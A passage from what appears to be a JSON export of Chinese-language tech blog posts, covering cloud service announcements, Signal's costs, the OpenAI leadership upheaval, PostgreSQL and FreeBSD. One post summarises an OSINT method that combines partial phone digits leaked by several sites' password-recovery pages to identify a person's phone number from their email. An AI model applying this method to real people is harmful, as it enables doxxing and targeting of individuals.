T&amp;S.</blockquote>\r\n\r\n<blockquote>\"Happiness\" is our term for customer support, and \"T&amp;S\" means trust and safety, which is the team that works on fighting bots, spam, dealing with illegal stuff, etc.</blockquote>\r\n\r\n接著有大致提到轉移的過程會是怎麼樣，另外後面提到時間表：\r\n\r\n<blockquote>The switchovers will happen on December 31, so we start 2024 completely fresh.</blockquote>\r\n\r\n另外在 <a href=\"https://www.theverge.com/\">The Verge</a> 上面的「<a href=\"https://www.theverge.com/2023/11/9/23954179/what-is-going-on-with-tumblr\">What is going on with Tumblr?</a>」有另外的說法，不是所有人都有換團隊的權利，很多就直接 layoff 了：\r\n\r\n<blockquote>\"The majority of the 139 people in Bumblr will switch to other divisions\"\r\n\r\nThis is not what is happening. Many people have been let go (under the guise of performance) and in the past week the pace picked up from individuals to entire teams. Automattic seems adamant these are not layoffs, but people dissapear instantly without being offered alternative teams.</blockquote>\r\n\r\n先回到 Tumblr 的情況來看，之後應該就是維護模式了。",
    "title": "Automattic 重整 Tumblr 團隊的內部消息"
  },
  {
    "id": "11447",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38229398\">Horrible edge cases to consider when dealing with music (2022) (dustri.org)</a>」這篇，講音樂產業各種奇怪種奇怪的 case，2022 年的原文在這邊：「<a href=\"https://news.ycombinator.com/item?id=38229398\">Horrible edge cases to consider when dealing with music</a>」，裡面有蠻大的篇幅都在講名稱的問題...。\r\n\r\n這讓我想到這則推：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd. <br><br>First real customer walks in and asks where the bathroom is. The bar bursts into flames, killing everyone.</p>&mdash; Brenan Keller (@brenankeller) <a href=\"https://twitter.com/brenankeller/status/1068615953989087232?ref_src=twsrc%5Etfw\">November 30, 2018</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n基本上會遇到各種 escaping 與 <a href=\"https://en.wikipedia.org/wiki/UTF-8\">UTF-8</a> 的處理，另外文章裡面提到會遇到超長名稱，也就是 <code>VARCHAR(255)</code> 的剋星... 不確定之前在 <a href=\"https://www.kkbox.com/\">K</a> 社大量取得授權的時候有沒有遇到這張 1999 年的專輯 (下面這是一張專輯的名字)：\r\n\r\n<blockquote>When the Pawn Hits the Conflicts He Thinks Like a King What He Knows Throws the Blows When He Goes to the Fight and He'll Win the Whole Thing 'Fore He Enters the Ring There's No Body to Batter When Your Mind Is Your Might So When You Go Solo, You Hold Your Own Hand and Remember That Depth Is the Greatest of Heights and If You Know Where You Stand, Then You Know Where to Land and If You Fall It Won't Matter, Cuz You'll Know That You're Right.</blockquote>\r\n\r\n其他文章裡面提到的應該都算是見怪不怪的情境，像是單曲七個小時... 這種在 server side 還拼的過去，但在行動平台上面比較苦命，直接把整曲都放進 memory 裡面的話有可能會炸。\r\n\r\n320kbps 七個小時差不多是 1GB，如果沒注意這點，直接處理 DRM 的話瞬間就會吃到 2GB RAM；如果拉到 CD quality 的資料量就更明顯了。\r\n\r\n然後你會發現，把音樂創作人的任何資料都當作 untrusted input 的態度來設計系統 (但你不能 reject)，問題通常就不會太大 XD",
    "title": "歌曲與專輯名稱的各種變化"
  },
  {
    "id": "11448",
    "body": "在「<a href=\"https://journal.hexmos.com/gpu-survival-toolkit/\">GPU Survival Toolkit for the AI age: The bare minimum every developer must know</a>」這篇看到的工具，雖然裡面是講 GPU 相關的事情，但看到這段：\r\n\r\n<blockquote><code>inxi -G</code>\r\n\r\nThis command provides information about the graphics subsystem, including details about the GPU and the display.\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1699855592-dc259f4f.webp\" /><img src=\"https://i.gslin.com/s/1699855592-dc259f4f.png\" alt=\"\" /></picture></blockquote>\r\n\r\n<a href=\"https://github.com/smxi/inxi\">inxi</a> 這個工具是用 <a href=\"https://en.wikipedia.org/wiki/Perl\">Perl</a> 寫的，在 manpage 的說明是：\r\n\r\n<blockquote>inxi - Command line system information script for console and IRC</blockquote>\r\n\r\n提供一些資訊給使用者，方便使用者在問問題時順便複製貼上到 <a href=\"https://en.wikipedia.org/wiki/Internet_Relay_Chat\">IRC</a> 或是論壇。\r\n\r\n看了一下系統的 dependency，我的桌機是因為 <a href=\"https://packages.ubuntu.com/search?keywords=xubuntu-desktop\">xubuntu-desktop</a> 這個套件相依裝進去的，這是 <a href=\"https://xfce.org/\">XFCE</a> 桌面環境的套件。\r\n\r\n而 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的預設環境沒有包這個套件進去，會需要額外安裝。",
    "title": "用 inxi 列出系統資訊，在回報問題時提供環境"
  },
  {
    "id": "11449",
    "body": "在看文件的時候發現 css fallback 的關係，被一路退到 <a href=\"https://en.wikipedia.org/wiki/Courier_New\">Courier New</a>，字有點太細... 然後發現 <code>Consolas</code> 沒有被指定替代字型 (通常會選 <code>Inconsolata</code>)，依照「<a href=\"https://wiki.archlinux.org/title/font_configuration\">Font configuration</a>」這邊的 alias 設定不會動，還是得用 match 去換。\r\n\r\n要把 <code>Consolas</code> 換成 <code>Inconsolata</code> 的話，需要把設定加到 <a href=\"https://en.wikipedia.org/wiki/Fontconfig\">fontconfig</a> 的設定裡面：(像是 <code>~/.config/fontconfig/fonts.conf</code>，或是 <code>/etc/fonts/conf.d/</code> 裡面放一個號碼大一點開頭的，像是 <code>99-match.conf</code> 之類的)\r\n\r\n<pre>&lt;match target=\"pattern\"&gt;\r\n        &lt;test qual=\"any\" name=\"family\"&gt;\r\n                &lt;string&gt;Consolas&lt;/string&gt;\r\n        &lt;/test&gt;\r\n        &lt;edit name=\"family\" mode=\"assign\" binding=\"same\"&gt;\r\n                &lt;string&gt;Inconsolata&lt;/string&gt;\r\n        &lt;/edit&gt;\r\n&lt;/match&gt;</pre>\r\n\r\n瀏覽器因為有 cache 的關係，會需要重開生效。\r\n\r\n另外一個有換的是 <code>Menlo</code> 換成 <code>Bitstream Vera Sans Mono</code>，換完後也好不少。",
    "title": "在 Linux 下將沒有安裝的字型指定替代物 (Consolas -> Inconsolata)"
  },
  {
    "id": "11451",
    "body": "<a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 寫了「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ebs-snapshot-lock/\">New – Amazon EBS Snapshot Lock</a>」這篇，介紹 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的新功能 Snapshot Lock。\r\n\r\n從名字就知道是鎖住 snapshot 不讓人刪除，比較特別的是有兩個模式，第一個是 Governance，這個模式下就只是防止誤刪除的情況：\r\n\r\n<blockquote>This mode protects snapshots from deletions by all users. However, with the proper IAM permissions, the lock duration can be extended or shortened, the lock can be deleted, and the mode can be changed from Governance mode to Compliance mode.</blockquote>\r\n\r\n比較重要的是第二個模式 Compliance，在超過猶豫期 (cooling-off period) 後就不能動了，就算你有最大的權限 (我猜是連 root account 也不能動)，唯一能操作的只有延長 lock 時間：\r\n\r\n<blockquote>This mode protects snapshots from actions by the root user and all IAM users. After a cooling-off period of up to 72 hours, neither the snapshot nor the lock can be deleted until the lock duration expires, and the mode cannot be changed. With the proper IAM permissions the lock duration can be extended, but it cannot be shortened.</blockquote>\r\n\r\n的確是遵循法規用的功能...",
    "title": "Amazon EBS 在 Compliance mode 下的 Snapshot Lock"
  },
  {
    "id": "11452",
    "body": "<a href=\"https://signal.org/\">Signal</a> 的「<a href=\"https://signal.org/blog/signal-is-expensive/\">Privacy is Priceless, but Signal is Expensive</a>」這篇 PR 稿裡面提到了各項支出，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論在「<a href=\"https://news.ycombinator.com/item?id=38291427\">Privacy is priceless, but Signal is expensive (signal.org)</a>」這邊可以翻到。\r\n\r\n裡面可以看到目前的數字 (以 2023 年十一月推算)：\r\n\r\n<blockquote>Storage: $1.3 million dollars per year.\r\nServers: $2.9 million dollars per year.\r\nRegistration Fees: $6 million dollars per year.\r\nTotal Bandwidth: $2.8 million dollars per year.\r\nAdditional Services: $700,000 dollars per year.</blockquote>\r\n\r\n<blockquote>Current Infrastructure Costs (as of November 2023): Approximately $14 million dollars per year.</blockquote>\r\n\r\n我比較感興趣的有幾塊，一個是標題提到的簡訊，在「Registration Fees」這個段落的說明裡可以看到列了兩個項目，一個是下載 Signal 的費用，另外一個是簡訊 SMS 認證的費用：\r\n\r\n<blockquote>Signal incurs expenses when people download Signal and sign up for an account, or when they re-register on a new device. We use third-party services to send a registration code via SMS or voice call in order to verify that the person in possession of a given phone number actually intended to sign up for a Signal account.</blockquote>\r\n\r\n這邊有些要確認的，下載軟體的頻寬應該是包括在 Total Bandwidth... 而且推敲起來，金額應該不算大：\r\n\r\n<ul>\r\n\t<li>手機上的應用應該是由 <a href=\"https://www.apple.com/\">Apple</a> 的 <a href=\"https://apps.apple.com/\">App Store</a> 與 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://play.google.com/\">Play</a> 平台提供，不需要 Signal 提供頻寬下載。</li>\r\n\t<li>桌面應用端的部分，無論是 Windows、Mac 還是 Linux 的平台，看起來是透過 <code>updates.signal.org</code> 下載，這個名稱目前是指到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 上面，透過 traceroute 看起來不是 premium account (<a href=\"https://www.hinet.net/\">HiNet</a> 用戶是導去美西的 SFO 機房)，也許是 Cloudflare 的贊助帳號？</li>\r\n</ul>\r\n\r\n所以我會先假設這邊 $6m/year 的費用應該都是 SMS，在後面這段看起來也有提出來：\r\n\r\n<blockquote>The cost of these registration services for verifying phone numbers when people first install Signal, or when they re-register on a new device, currently averages around $6 million dollars per year.</blockquote>\r\n\r\n另外會這麼高也是因為現在 <a href=\"https://www.twilio.com/docs/verify/preventing-toll-fraud\">SMS pumping</a> 很流行，也就是攻擊者與電信商合作 (或是同一組人)，透過假造大量的認證需求，讓 app 後面的公司需要付大量的簡訊費用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1700208839-c67b0bb5.webp\" /><img src=\"https://i.gslin.com/s/1700208839-c67b0bb5.png\" alt=\"\" /></picture>\r\n\r\n另外一個感興趣的是頻寬的部分，裡面有提到有一個比較吃頻寬的項目，是處理不在通訊錄上面的通話或是視訊。這邊 Signal 為了避免 IP address 的洩漏，會避免直接讓兩邊接通，而是透過 relay 接通：\r\n\r\n<blockquote>To take one example, Signal always routes end-to-end encrypted calls from people who aren’t in your contacts through a relay server that obscures IP address information.</blockquote>\r\n\r\n光這部份大約是 20PB/year 的量，費用約 $1.7m/year (上面有提到整個頻寬費用約 $2.8m/year)：\r\n\r\n<blockquote>At current traffic levels, the amount of outbound bandwidth that is required to support Signal voice and video calls is around 20 petabytes per year (that’s 20 million gigabytes) which costs around $1.7 million dollars per year in bandwidth fees just for calling[.]</blockquote>\r\n\r\n而最大的費用還是各種人事支出的部分 (i.e. 經濟規模還沒有大到反過來)，佔 $19m/year：\r\n\r\n<blockquote>In total, around 50 full-time employees currently work on Signal[.]</blockquote>\r\n\r\n<blockquote>To sustain our ongoing development efforts, about half of Signal’s overall operating budget goes towards recruiting, compensating, and retaining the people who build and care for Signal. When benefits, HR services, taxes, recruiting, and salaries are included, this translates to around $19 million dollars per year.</blockquote>\r\n\r\n在 Hacker News 上有人貼了「<a href=\"https://projects.propublica.org/nonprofits/organizations/824506840\">Signal Technology Foundation - Nonprofit Explorer - ProPublica</a>」這個，這邊有申報資料可以翻，比 PR 稿上面細。",
    "title": "Signal 的簡訊花費在 $6m/year"
  },
  {
    "id": "11459",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 2019 年的文章：「<a href=\"https://news.ycombinator.com/item?id=38290613\">From email to phone number, a new OSINT approach (2019) (martinvigo.com)</a>」，原文在「<a href=\"https://www.martinvigo.com/email2phonenumber/\">From email to phone number, a new OSINT approach</a>」。\r\n\r\n用的原理是每一家在 recovery 時都會透漏電話號碼的不同部位，從截圖可以看到像是 <a href=\"https://www.paypal.com/\">PayPal</a> 給的是區碼地一碼加上後三碼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1700211409-68f8d2be.webp\" /><img src=\"https://i.gslin.com/s/1700211409-68f8d2be.png\" alt=\"\" /></picture>\r\n\r\n然後他整理出來：\r\n\r\n<blockquote>Leaks first three and last two digits:\r\neBay\r\n\r\nLeaks first and last four digits:\r\nPaypal\r\n\r\nLeaks first and last two digits:\r\nYahoo\r\n\r\nLeaks last four digits:\r\nLastpass\r\n\r\nLeaks last two digits:\r\nGoogle\r\nFacebook\r\nTwitter\r\nHotmail\r\nSteam</blockquote>\r\n\r\n接著文章裡面介紹了其他的方法再縮小可能性，然後再反過來利用電話號碼查 e-mail，像是 <a href=\"https://www.amazon.com/\">Amazon</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1700211676-04d29d54.webp\" /><img src=\"https://i.gslin.com/s/1700211676-04d29d54.png\" alt=\"\" /></picture>\r\n\r\n後面則是示範了這整套過程可以自動化。\r\n\r\n可以確認電話號碼後可以做的事情就很多了，文章裡面提到的也只是一小塊...",
    "title": "從 e-mail 取得電話號碼"
  },
  {
    "id": "11460",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://en.wikipedia.org/wiki/Microsecond\">μs</a> 等級的 Amazon Time Sync Service，也就是比 ms 再多三個零的等級：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/11/amazon-time-sync-service-microsecond-accurate-time/\">Amazon Time Sync Service now supports microsecond-accurate time</a>」。\r\n\r\n一般的 Time Sync Service 服務大多是 ms 等級，也就是 10<sup>-3</sup> 秒這個等級，μs 則是到了 10<sup>-6</sup>...\r\n\r\n但這其實有點詭異，目前只有 AWS 東京區有這個服務，而且限制在 <code>r7g</code> 的機器上才能用：\r\n\r\n<blockquote>Amazon Time Sync with microsecond-accurate time is available starting today in the Asia Pacific (Tokyo) Region on all R7g instances, and we will be expanding support to additional AWS Regions and EC2 Instance types.</blockquote>\r\n\r\n也就是說 <code>us-east-1</code>、<code>us-west-2</code> 這些第一線熱門的區域沒有，另外只有特別的 ARM 機種，而且是 memory-intensive 的 <code>r7g</code> 才能用？\r\n\r\n先放著看看 XDDD",
    "title": "AWS 東京區的機器有 μs 等級的 Amazon Time Sync Service 可以用"
  },
  {
    "id": "11461",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁變得超卡，通常代表有大事... 看了一下 top 1 的文章，oh 幹這件事情很大條：「<a href=\"https://news.ycombinator.com/item?id=38309611\">OpenAI's board has fired Sam Altman (openai.com)</a>」。\r\n\r\n<a href=\"https://openai.com/\">OpenAI</a> 的公告在「<a href=\"https://openai.com/blog/openai-announces-leadership-transition\">OpenAI announces leadership transition</a>」這邊。\r\n\r\n官方給了很嚴重的指控：\r\n\r\n<blockquote>Mr. Altman’s departure follows a deliberative review process by the board, which concluded that he was not consistently candid in his communications with the board, hindering its ability to exercise its responsibilities. The board no longer has confidence in his ability to continue leading OpenAI.\r\n\r\nIn a statement, the board of directors said: “OpenAI was deliberately structured to advance our mission: to ensure that artificial general intelligence benefits all humanity. The board remains fully committed to serving this mission. We are grateful for Sam’s many contributions to the founding and growth of OpenAI. At the same time, we believe new leadership is necessary as we move forward. As the leader of the company’s research, product, and safety functions, Mira is exceptionally qualified to step into the role of interim CEO. We have the utmost confidence in her ability to lead OpenAI during this transition period.”</blockquote>\r\n\r\n這邊就用 ChatGPT 來翻譯好了：\r\n\r\n<blockquote>奧特曼先生的離職是在董事會進行了深思熟慮的審查過程之後，董事會得出結論認為他在與董事會的溝通中並不總是坦率，這阻礙了董事會行使其職責的能力。董事會不再對他繼續領導OpenAI的能力有信心。\r\n\r\n董事會在一份聲明中表示：“OpenAI是有意識地建立起來，以推進我們的使命：確保人工通用智能造福全人類。董事會仍然全力致力於服務於這一使命。我們感謝山姆對OpenAI創立和成長所做的許多貢獻。同時，我們認為隨著我們向前邁進，需要新的領導層。作為公司研究、產品和安全功能的負責人，米拉非常適合擔任臨時首席執行官的角色。我們對她在這個過渡時期領導OpenAI的能力充滿信心。”</blockquote>\r\n\r\n現在 X (<a href=\"https://twitter.com/\">Twitter</a>) 上面也有不少人在討論 (八卦)，但看起來只能先讓子彈飛一下...",
    "title": "Sam Altman (OpenAI 的 CEO) 被幹掉"
  },
  {
    "id": "11463",
    "body": "<a href=\"https://openai.com/\">OpenAI</a> 的 President，<a href=\"https://en.wikipedia.org/wiki/Greg_Brockman\">Greg Brockman</a> 宣佈離職：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">After learning today’s news, this is the message I sent to the OpenAI team: <a href=\"https://t.co/NMnG16yFmm\">https://t.co/NMnG16yFmm</a> <a href=\"https://t.co/8x39P0ejOM\">pic.twitter.com/8x39P0ejOM</a></p>&mdash; Greg Brockman (@gdb) <a href=\"https://twitter.com/gdb/status/1725667410387378559?ref_src=twsrc%5Etfw\">November 18, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過更重要的是後續的說明，看起來是與 <a href=\"https://en.wikipedia.org/wiki/Sam_Altman\">Sam Altman</a> 聯合起來整理情況，算是另外一邊第一手的資料？\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Sam and I are shocked and saddened by what the board did today.<br><br>Let us first say thank you to all the incredible people who we have worked with at OpenAI, our customers, our investors, and all of those who have been reaching out.<br><br>We too are still trying to figure out exactly…</p>&mdash; Greg Brockman (@gdb) <a href=\"https://twitter.com/gdb/status/1725736242137182594?ref_src=twsrc%5Etfw\">November 18, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n目前主要是一些時間線的呈現，分別被解任與拔除 President。\r\n\r\n這邊講的 Ilya 是 <a href=\"https://en.wikipedia.org/wiki/Ilya_Sutskever\">Ilya Sutskever</a>，在 Sam Altman 被幹掉後有些八卦傳言有提到他，不過目前 Cofounders 這邊還沒直接開火，沒辦法驗證更多資訊，再繼續等看看有沒有什麼資訊還會冒出來...",
    "title": "Greg Brockman (OpenAI 的 President) 宣佈離職"
  },
  {
    "id": "11466",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的公告，<a href=\"https://aws.amazon.com/vpc/\">VPC</a> 裡的 <a href=\"https://en.wikipedia.org/wiki/IPv6\">IPv6</a> 可以自訂 <a href=\"https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing\">CIDR</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/11/vpcs-subnets-support-more-sizes-ipv6-cidrs/\">VPCs and subnets now support more sizes for IPv6 CIDRs</a>」。\r\n\r\n不過還是有限制，首先是 VPC 的大小必須是 <code>/44</code> 到 <code>/60</code> 中 4 的倍數，也就是只有 <code>/44</code>、<code>/48</code>、<code>/52</code>、<code>/56</code> 以及 <code>/60</code> 這五個可以用，而 subnet 也有類似的限制，但從 <code>/44</code> 到 <code>/64</code>，所以剛好就是多了 <code>/64</code> 可以用：\r\n\r\n<blockquote>Amazon VPC allows customers to create VPCs and subnets of different sizes using IPv6 CIDRs. With this capability, customers can now create VPCs in sizes between /44 and /60, and subnets in sizes between /44 and /64, in increments of /4.</blockquote>\r\n\r\n先前的限制是 VPC 只能給 <code>/56</code> 以及 subnet 只能給 <code>/64</code> 的搭配，是個「可以動」但總是覺得「...」的設計：\r\n\r\n<blockquote>Before today, AWS supported one standard IPv6 CIDR block size of /56 for VPC and /64 for subnet, whereas IPv4 CIDR block size were flexible for both VPCs and subnets.</blockquote>\r\n\r\n不過我實際在 <code>ap-northeast-1</code> 上測試，發現如果是 AWS 發的 IPv6 address，固定就是 <code>/56</code> 的大小，然後 subnet 在選擇的時候可以選 <code>/56</code>、<code>/60</code> 與 <code>/64</code>。\r\n\r\n這邊提到 VPC 可以選擇大小，應該是其他方式帶進來的 IPv6 address？\r\n\r\n另外這次的 <code>/4</code> 的遞增限制，我猜是 AWS 裡面 <a href=\"https://en.wikipedia.org/wiki/Software-defined_networking\">SDN</a> 上面的限制？<a href=\"https://en.wikipedia.org/wiki/Internet_Protocol_version_4\">IPv4</a> 的 CIDR 有 33 個大小 (<code>/0</code> 到 <code>/32</code>)，IPv6 上面如果也處理 33 個的話，反過來設計剛好是 <code>/4</code> 遞增的 workaround？\r\n\r\n不過話說回來，我記得前陣子 AWS 公佈要收 Public IPv4 address 的費用時 (參考「<a href=\"https://blog.gslin.org/archives/2023/07/30/11274/aws-%E5%B0%87%E9%96%8B%E5%A7%8B%E6%94%B6%E5%8F%96-ipv4-%E7%9A%84-public-ip-%E8%B2%BB%E7%94%A8/\">AWS 將開始收取 IPv4 的 Public IP 費用</a>」)，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有人抱怨還是有很多 AWS 的服務是 IPv4 only，在純 IPv6 network 上面是不太會動的；把這些服務的 IPv6 endpoint 生出來應該要趕快放到 roadmap 上...",
    "title": "AWS 的 VPC 開放自訂 IPv6 CIDR 了，但還是有 4 的倍數的限制..."
  },
  {
    "id": "11467",
    "body": "在 <a href=\"https://simonwillison.net/\">Simon Willison</a> 這邊看到「<a href=\"https://simonwillison.net/2023/Nov/18/utcnow-is-now-deprecated/\">It's Time For A Change: datetime.utcnow() Is Now Deprecated</a>」，引用的文章是「<a href=\"https://blog.miguelgrinberg.com/post/it-s-time-for-a-change-datetime-utcnow-is-now-deprecated\">It's Time For A Change: datetime.utcnow() Is Now Deprecated</a>」這篇。\r\n\r\n文章裡面有提到歷史因素，以及這樣設計造成的問題。\r\n\r\n在文章後面有提到替代方案，改了一下裡面的用法，等價於這個：\r\n\r\n<pre>from datetime import datetime, timezone\r\ndatetime.now(timezone.utc)\r\ndatetime.fromtimestamp(timestamp, timezone.utc)</pre>\r\n\r\n或是這樣：\r\n\r\n<pre>import datetime\r\ndatetime.datetime.now(datetime.timezone.utc)\r\ndatetime.datetime.fromtimestamp(timestamp, datetime.timezone.utc)</pre>\r\n\r\n要稍微注意一下這個歷史遺跡要被拆了... (<a href=\"https://stackoverflow.com/\">StackOverflow</a> 上面應該有很多用到這兩個 function 的解答)",
    "title": "Python 3.12 將淘汰 datetime.datetime 的 utcnow() 與 utcfromtimestamp()"
  },
  {
    "id": "11469",
    "body": "雖然之前提過很多次 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 logical replication，但最近總算是有空實際架設起來測試，發現目前的 logical replication 還在進化的過程，只能算是階段性的產品。\r\n\r\n在 <a href=\"https://www.postgresql.org/docs/16/\">PostgreSQL 16</a> 的「<a href=\"https://www.postgresql.org/docs/16/logical-replication-restrictions.html\">31.6. Restrictions</a>」裡面有列出了目前 logical replication 的限制。\r\n\r\n第一條其實是最痛的，不支援各種 DDL 操作，所以像是 <code>CREATE TABLE</code> 或是 <code>ALTER TABLE</code> 都不會同步，這牽扯到 DBOps 的動作需要配合，DB schema 的改變會變得很詭異，需要 case by case 處理，甚至 application 端可能也會需要配合。\r\n\r\n<blockquote>The database schema and DDL commands are not replicated.</blockquote>\r\n\r\n另外一個頭痛的點是 sequence 資料居然不會同步，這個工具常被用到 <code>SERIAL</code> 類的設計 (雖然 <code>SERIAL</code> 被 deprecated 了)，這代表當偵測到 master 掛掉時無法直接 failover，除非有另外處理 sequence 的資料：\r\n\r\n<blockquote>Sequence data is not replicated.</blockquote>\r\n\r\n翻了資料發現官方 wiki 上有「<a href=\"https://wiki.postgresql.org/wiki/Logical_replication_of_DDLs\">Logical replication of DDLs</a>」，裡面有今年六月的投影片：「<a href=\"https://wiki.postgresql.org/images/d/dd/20230602-DDL_Replication.pdf\">Logical Replication of DDLs</a>」，看起來 DDL 的部分有已經 patch 丟出來 (對 PostgreSQL 15 的 patch)，但看了 PostgreSQL 16 的 release notes 裡面還沒看到，看起來還要等...\r\n\r\n所以 logical replication 看起來還在演進的過程，目前的限制使得 logical replication 還不到能用的成熟度。\r\n\r\n可以繼續觀察看看...",
    "title": "PostgreSQL 的 Logical Replication 還有很多限制..."
  },
  {
    "id": "11471",
    "body": "不算太意外的一步，<a href=\"https://en.wikipedia.org/wiki/Satya_Nadella\">Satya Nadella</a> (微軟的 CEO) 直接宣佈讓 <a href=\"https://en.wikipedia.org/wiki/Sam_Altman\">Sam Altman</a> 與 <a href=\"https://en.wikipedia.org/wiki/Greg_Brockman\">Greg Brockman</a> 加入微軟，包含了其他的 team member，另外還特別講了一句會儘快提供需要的資源：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">We remain committed to our partnership with OpenAI and have confidence in our product roadmap, our ability to continue to innovate with everything we announced at Microsoft Ignite, and in continuing to support our customers and partners. We look forward to getting to know Emmett Shear and OAI's new leadership team and working with them. And we’re extremely excited to share the news that Sam Altman and Greg Brockman, together with colleagues, will be joining Microsoft to lead a new advanced AI research team. We look forward to moving quickly to provide them with the resources needed for their success.</p>&mdash; Satya Nadella (@satyanadella) <a href=\"https://twitter.com/satyanadella/status/1726509045803336122?ref_src=twsrc%5Etfw\">November 20, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nX (<a href=\"https://twitter.com/\">Twitter</a>) 上的全文：\r\n\r\n<blockquote>We remain committed to our partnership with OpenAI and have confidence in our product roadmap, our ability to continue to innovate with everything we announced at Microsoft Ignite, and in continuing to support our customers and partners. We look forward to getting to know Emmett Shear and OAI's new leadership team and working with them. And we’re extremely excited to share the news that Sam Altman and Greg Brockman, together with colleagues, will be joining Microsoft to lead a new advanced AI research team. We look forward to moving quickly to provide them with the resources needed for their success.</blockquote>\r\n\r\n微軟與 Satya Nadella 在這次爆炸後，災難處理接近最完美的劇本了？\r\n\r\n讓 Sam Altman 回去 <a href=\"https://openai.com/\">OpenAI</a> 大概不是好方案，很明顯已經有嫌隙了，尤其是直接被 Greg Brockman 點名過的 <a href=\"https://en.wikipedia.org/wiki/Ilya_Sutskever\">Ilya Sutskever</a>。\r\n\r\n把 Sam Altman 與 Greg Brockman 放出去找 VC 開新的公司，不如還是讓直接微軟吃下來。\r\n\r\n現在變成全部都還是在微軟的帝國裡面。\r\n\r\n這個方法 Satya Nadella 完全可以對董事會交代，也能對微軟自家內部合作的團隊交代。\r\n\r\n另外推文裡有提到 <a href=\"https://en.wikipedia.org/wiki/Emmett_Shear\">Emmett Shear</a> 接手 Interim CEO，這樣看起來 <a href=\"https://en.wikipedia.org/wiki/Mira_Murati\">Mira Murati</a> 應該也是會過去 Sam Altman 那邊了。\r\n\r\n後續應該就是看團隊元氣大傷後可以恢復多快了，少掉的 Ilya Sutskever 這塊要怎麼補？",
    "title": "微軟出手直接讓 Sam Altman 與 Greg Brockman 成立新團隊"
  },
  {
    "id": "11472",
    "body": "<a href=\"https://www.freebsd.org/\">FreeBSD</a> 14.0-RELEASE 的公告也出來了：「<a href=\"https://www.freebsd.org/releases/14.0R/announce/\">FreeBSD 14.0-RELEASE Announcement</a>」，比較完整的 release notes 在「<a href=\"https://www.freebsd.org/releases/14.0R/relnotes/\">FreeBSD 14.0-RELEASE Release Notes</a>」。\r\n\r\n先從官方列的 highlight 來看，首先比較重要的是 GENERIC kernel 支援 1024 cores：\r\n\r\n<blockquote>FreeBSD supports up to 1024 cores on the amd64 and arm64 platforms.</blockquote>\r\n\r\n看了一下 commit log 是從 <code>256</code> 變成 <code>1024</code>。\r\n\r\n先就 <a href=\"https://en.wikipedia.org/wiki/X86-64\">x86-64</a> 這邊來看，目前「家用」最多的應該是 <a href=\"https://www.amd.com/\">AMD</a> 的 <a href=\"https://www.amd.com/en/products/cpu/amd-ryzen-threadripper-pro-7995wx\">7995WX</a> (96 cores)，舊版的 <code>256</code> 限制應該也還能撐住，但看 commit log 有提到，主要是預期這幾年應該會有更暴力的機器出現。\r\n\r\n另外一塊是伺服器端，Intel 這邊有 8 sockets 的版本 (參考「<a href=\"https://www.servethehome.com/intel-xeon-sapphire-rapids-to-scale-to-4-and-8-sockets/\">Intel Xeon Sapphire Rapids to Scale to 4 and 8 Sockets</a>」)，如果都是接 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/231747/intel-xeon-platinum-8490h-processor-112-5m-cache-1-90-ghz.html\">8490H</a> 的話就是 480 cores 了。\r\n\r\n<a href=\"https://www.arm.com/\">ARM</a> 的話好像也可以堆，但不熟...\r\n\r\n另外一個提到的重點是 <a href=\"https://en.wikipedia.org/wiki/Transmission_Control_Protocol\">TCP</a> 預設的 <a href=\"https://en.wikipedia.org/wiki/TCP_congestion_control\">congestion control</a> 改成 <a href=\"https://en.wikipedia.org/wiki/CUBIC\">CUBIC</a>：\r\n\r\n<blockquote>The default congestion control mechanism for TCP is now CUBIC.</blockquote>\r\n\r\n翻 commit log 可以看到是從 NewReno 換成 CUBIC 的，這樣就跟 Linux kernel 預設值一樣了。\r\n\r\n再來比較重要的是在 release notes 裡面提到的，FreeBSD 15.0 將會拔光 32-bit 環境的支援，只留 <code>armv7</code>，這代表 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 第一代的 <code>armv6</code> 也被淘汰掉了：\r\n\r\n<blockquote>FreeBSD 15.0 is not expected to include support for 32-bit platforms other than armv7. The armv6, i386, and powerpc platforms are deprecated and will be removed. 64-bit systems will still be able to run older 32-bit 